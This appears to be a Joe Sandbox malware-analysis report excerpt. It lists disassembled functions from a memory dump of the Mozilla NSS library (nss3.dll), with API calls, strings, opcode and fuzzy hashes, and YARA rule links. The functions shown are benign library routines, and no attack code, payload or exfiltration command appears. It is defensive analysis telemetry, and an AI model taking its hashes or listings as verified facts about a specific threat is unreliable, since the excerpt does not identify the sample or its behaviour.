Part of subcall function 6C9F3F50: EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C9DE80C,00000000,00000000,?,?,?,?,6C9E8C5B,-00000001), ref: 6C9F3FBA
Part of subcall function 6C9F3F50: PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6C9DE80C,00000000,00000000,?,?,?,?,6C9E8C5B,-00000001), ref: 6C9F3FFE
Part of subcall function 6C9F3F50: PR_SetError.NSS3 ref: 6C9F401A

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA0B961
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA0B96F
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA0B97A

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: ErrorUtil$Alloc_Value$CriticalEnterGenerateItem_K11_RandomSectionUnlockZfreecalloc
String ID:
API String ID: 3619055319-0
Opcode ID: f23b25f3f6ad3dee2c2ec0fc4be21a59d8eea69007335c1270049e45527e21e3
Instruction ID: 4f7fab1479fc59ffcf000364c2f55e5f6e7300e1324ba320c7a25995de6ac0ea
Opcode Fuzzy Hash: f23b25f3f6ad3dee2c2ec0fc4be21a59d8eea69007335c1270049e45527e21e3
Instruction Fuzzy Hash: E1F0E2B2F8031122F62026A93D02F8625884B61BDDF144235EA1DA6B81F786E09D82B3

Function 6C98AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C98AFDA

Strings

unable to delete/modify collation sequence due to active statements, xrefs: 6C98AF5C
%s at line %d of [%.10s], xrefs: 6C98AFD3
misuse, xrefs: 6C98AFCE
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C98AFC4

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: d88de4fdf7f7f3b09e91e2858782a1ad5c74274723fbc326fc445348a5ee2232
Instruction ID: aca01cd23f0cd92c2aef11e4ace43c2244b63bace28d6d8c3d38490602cddbdd
Opcode Fuzzy Hash: d88de4fdf7f7f3b09e91e2858782a1ad5c74274723fbc326fc445348a5ee2232
Instruction Fuzzy Hash: FB91E175B022158FDB04CF29C850BAAB7F5BF49314F1949ACE865AB792DB34EC01CB60

Function 6C9EFC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6C9EFC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C9EFCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C9EFDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C9EFDDE

Part of subcall function 6C9F8800: TlsGetValue.KERNEL32(?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8821
Part of subcall function 6C9F8800: TlsGetValue.KERNEL32(?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F883D
Part of subcall function 6C9F8800: EnterCriticalSection.KERNEL32(?,?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8856
Part of subcall function 6C9F8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C9F8887
Part of subcall function 6C9F8800: PR_Unlock.NSS3(?,?,?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8899

Strings

pkcs11:, xrefs: 6C9EFC4F

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: ca09e34eb4a7041a5e3b5cda6a4d150bc358430e65b69a02e087845f4a3b0dd9
Instruction ID: 3bf3101a8556308f07939bebeb4e8e6553c000ffdb302f628172e630cce492bd
Opcode Fuzzy Hash: ca09e34eb4a7041a5e3b5cda6a4d150bc358430e65b69a02e087845f4a3b0dd9
Instruction Fuzzy Hash: 635105B2B001119BEF028F65ED40B9A3B79AF7935CF250066DD145BF41E731E989CB92

Function 6C92B8B0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 107COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010B2E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6CA5A4E2), ref: 6C92B948
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010B19,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?), ref: 6C92B9BE

Strings

database corruption, xrefs: 6C92B93C, 6C92B9B2
%s at line %d of [%.10s], xrefs: 6C92B941, 6C92B9B7
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C92B932, 6C92B9A8

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: fa61db947aace8392f1dc4c89e0d471371538d78d2447e5bd1d1f8e94d2f783b
Instruction ID: 7ce0748da64ca771c5aa17865b20efc0dc1745d9fd2b2810282599e18f76e33a
Opcode Fuzzy Hash: fa61db947aace8392f1dc4c89e0d471371538d78d2447e5bd1d1f8e94d2f783b
Instruction Fuzzy Hash: 5741CE346052049FD704DF29D890FAA7BF5AF4530CF1584A8E88A9F752E735EC81DBA0

Function 6C92BDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6C92BE02

Part of subcall function 6CA59C40: memcmp.VCRUNTIME140(?,00000000,6C92C52B), ref: 6CA59D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C92BE9F

Strings

database corruption, xrefs: 6C92BE93
%s at line %d of [%.10s], xrefs: 6C92BE98
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C92BE89

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 49a23d2bf2a9ece09205e447380d60a0bfcf97f27a40ebf0c5349b7c892d4a4d
Instruction ID: c2f74b9eb3abe0c96540c25e4d52b9ac1e6d9a2f8d15dbefa5fd31783f56fac3
Opcode Fuzzy Hash: 49a23d2bf2a9ece09205e447380d60a0bfcf97f27a40ebf0c5349b7c892d4a4d
Instruction Fuzzy Hash: 80315431A142598BC300CF29D894AAFBBF2AF41314B098554EEDA1BA85D338EC45C3D1

Function 6CA7A800 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001,?,?,?,?,?,?,?,?,6C947915,?,?), ref: 6CA7A86D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010800,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,6C947915,?,?), ref: 6CA7A8A6

Strings

database corruption, xrefs: 6CA7A89B
%s at line %d of [%.10s], xrefs: 6CA7A8A0
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA7A891

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 3f17a1e3bc459d771089fb17c000804e45dcb570a34d111fd651ee7226a8df8e
Instruction ID: 0a3473fcd0c0aef17fca97a27ac14f8223dbb9eaf7fa07aec1229afc64efe86e
Opcode Fuzzy Hash: 3f17a1e3bc459d771089fb17c000804e45dcb570a34d111fd651ee7226a8df8e
Instruction Fuzzy Hash: 8D112975A00214BFD7148F21DC50AAAB7A6FF58314F148438FC194BB41EB34ED96CBA1

Function 6C990DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C990BDE), ref: 6C990DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C990BDE), ref: 6C990DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C990BDE), ref: 6C990DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C990BDE), ref: 6C990E32

Strings

%s incr => %d (find lib), xrefs: 6C990E2D

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: e68e67908b2d3032150f8923be9e396deadb79d0f751070badc5e833d39307df
Instruction ID: 007ec852271099f0ce62d723a71446e3ac96c748fdd958b2e6acb9138ffdb16f
Opcode Fuzzy Hash: e68e67908b2d3032150f8923be9e396deadb79d0f751070badc5e833d39307df
Instruction Fuzzy Hash: 0C01D4727003149FE7209F659C45E1773BCDB49A09B09446DE919E3B41E762FC5886E1

Function 6C9979B0 Relevance: 7.9, APIs: 5, Instructions: 427COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?), ref: 6C9979DA
sqlite3_value_text.NSS3(?), ref: 6C9979E9
sqlite3_value_text.NSS3(?), ref: 6C9979F6
sqlite3_value_text.NSS3(?), ref: 6C997A05
sqlite3_result_error_code.NSS3(?,00000000), ref: 6C997E05

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_result_error_code
String ID:
API String ID: 1222672844-0
Opcode ID: 6eebd1ce00a2f41cb93643e326ec11ec5dbe280c89bd8bee3d806343a742e458
Instruction ID: 84d7c3f4bbd0c40efe1d91fa4618ec6be841057d644e01bc7f9075268af6e8dd
Opcode Fuzzy Hash: 6eebd1ce00a2f41cb93643e326ec11ec5dbe280c89bd8bee3d806343a742e458
Instruction Fuzzy Hash: 1E0291756083458FD714CF25C480A6AB7F6BF96318F1C896DE89947B11EF31E885CB82

Function 6C939C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C939CF2
LeaveCriticalSection.KERNEL32(?), ref: 6C939D45
EnterCriticalSection.KERNEL32(?), ref: 6C939D8B
LeaveCriticalSection.KERNEL32(?), ref: 6C939DDE

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: c3ca33915ba20d4279afc81995ebb21ee00d38e9d70458301042d001428f404c
Instruction ID: 91c2cc2ed27d0aa21f123cba771290c33b7baf62f2072c92cf6287437612c9c8
Opcode Fuzzy Hash: c3ca33915ba20d4279afc81995ebb21ee00d38e9d70458301042d001428f404c
Instruction Fuzzy Hash: 09A1C0317402118BEB1CAF24E89976E377ABF93319F19512DE42E47A40DF39D846CB92

Function 6C93A910 Relevance: 7.7, APIs: 5, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f8bea5a06e1d43c5d17552ec6779e700a298cf6abf0ec9903231d55d57ee1a2
Instruction ID: d45b30ddf375e4d9d477c08ae79b35b668e8923526e016c39b1098aa8f9d25ab
Opcode Fuzzy Hash: 1f8bea5a06e1d43c5d17552ec6779e700a298cf6abf0ec9903231d55d57ee1a2
Instruction Fuzzy Hash: 7E91E2317003158FEF18DFA5E8D9B6A37BABB56308F08102DE54A97A40DF38E845CB91

Function 6C9C1E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6C9C1ECC

Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690AB
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690C9
Part of subcall function 6CA69090: EnterCriticalSection.KERNEL32 ref: 6CA690E5
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA69116
Part of subcall function 6CA69090: LeaveCriticalSection.KERNEL32 ref: 6CA6913F

TlsGetValue.KERNEL32 ref: 6C9C1EDF
EnterCriticalSection.KERNEL32(?), ref: 6C9C1EEF
PR_ExitMonitor.NSS3(?), ref: 6C9C1F37
PR_Unlock.NSS3(?), ref: 6C9C1F44

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 059e6ae88e51be82acd113151bd1398f2c17de1378990eb8a42dba5b788c21de
Instruction ID: 38533b74d71404164380fd0c3196cc6262ff978dabb7c1ee1d29b910137beecc
Opcode Fuzzy Hash: 059e6ae88e51be82acd113151bd1398f2c17de1378990eb8a42dba5b788c21de
Instruction Fuzzy Hash: CD71AD71A043019FD700CF24D840A5BB7F5FF9A358F144929E89993B21E731E969CB93

Function 6CA4DD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CA4DD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6CA4DDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6CA4DE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6CA4DE77

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: f0da4084f11887f3dd85655c75a60e067a92c3d1101bc062dd974ab7819ddcf9
Instruction ID: be745219e2762d8139c48abfb85ddb11cb53777aad2df1ce61c8a82064aab1bc
Opcode Fuzzy Hash: f0da4084f11887f3dd85655c75a60e067a92c3d1101bc062dd974ab7819ddcf9
Instruction Fuzzy Hash: B5715571E00319CFDB20CF9AC580A89B7B4BF49718F29C16DD9596B702D770A986CF90

Function 6C9BDFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6C9BAB10: DeleteCriticalSection.KERNEL32(D958E852,6C9C1397,5B5F5EC0,?,?,6C9BB1EE,2404110F,?,?), ref: 6C9BAB3C
Part of subcall function 6C9BAB10: free.MOZGLUE(D958E836,?,6C9BB1EE,2404110F,?,?), ref: 6C9BAB49
Part of subcall function 6C9BAB10: DeleteCriticalSection.KERNEL32(5D5E6CBB), ref: 6C9BAB5C
Part of subcall function 6C9BAB10: free.MOZGLUE(5D5E6CAF), ref: 6C9BAB63
Part of subcall function 6C9BAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C9BAB6F
Part of subcall function 6C9BAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C9BAB76

TlsGetValue.KERNEL32(?,?,6C9BB266,6C9C15C6,?,?,6C9C15C6), ref: 6C9BDFDA
EnterCriticalSection.KERNEL32(?,?,?,6C9BB266,6C9C15C6,?,?,6C9C15C6), ref: 6C9BDFF3
PK11_IsFriendly.NSS3(?,?,?,?,6C9BB266,6C9C15C6,?,?,6C9C15C6), ref: 6C9BE029
PK11_IsLoggedIn.NSS3 ref: 6C9BE046

Part of subcall function 6C9C8F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C9C8FAF
Part of subcall function 6C9C8F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C9C8FD1
Part of subcall function 6C9C8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C9C8FFA
Part of subcall function 6C9C8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C9C9013
Part of subcall function 6C9C8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C9C9042
Part of subcall function 6C9C8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C9C905A
Part of subcall function 6C9C8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C9C9073
Part of subcall function 6C9C8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C9C9111

PR_Unlock.NSS3(?,?,?,?,6C9BB266,6C9C15C6,?,?,6C9C15C6), ref: 6C9BE149

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: 513def55633c82dff262d655b5e1d16052ddae4e5d74a992b1155bd02983ee76
Instruction ID: 3a0427010847dcb03cfa9a3cd38bdae4315f446fba96bb01e1f4d79979747ae0
Opcode Fuzzy Hash: 513def55633c82dff262d655b5e1d16052ddae4e5d74a992b1155bd02983ee76
Instruction Fuzzy Hash: CB515974604611EFDB10DF29C48476BBBF8BF54309F19889CD899ABB41D735E885CB82

Function 6C9CBE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6C9CBF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C9CBF56
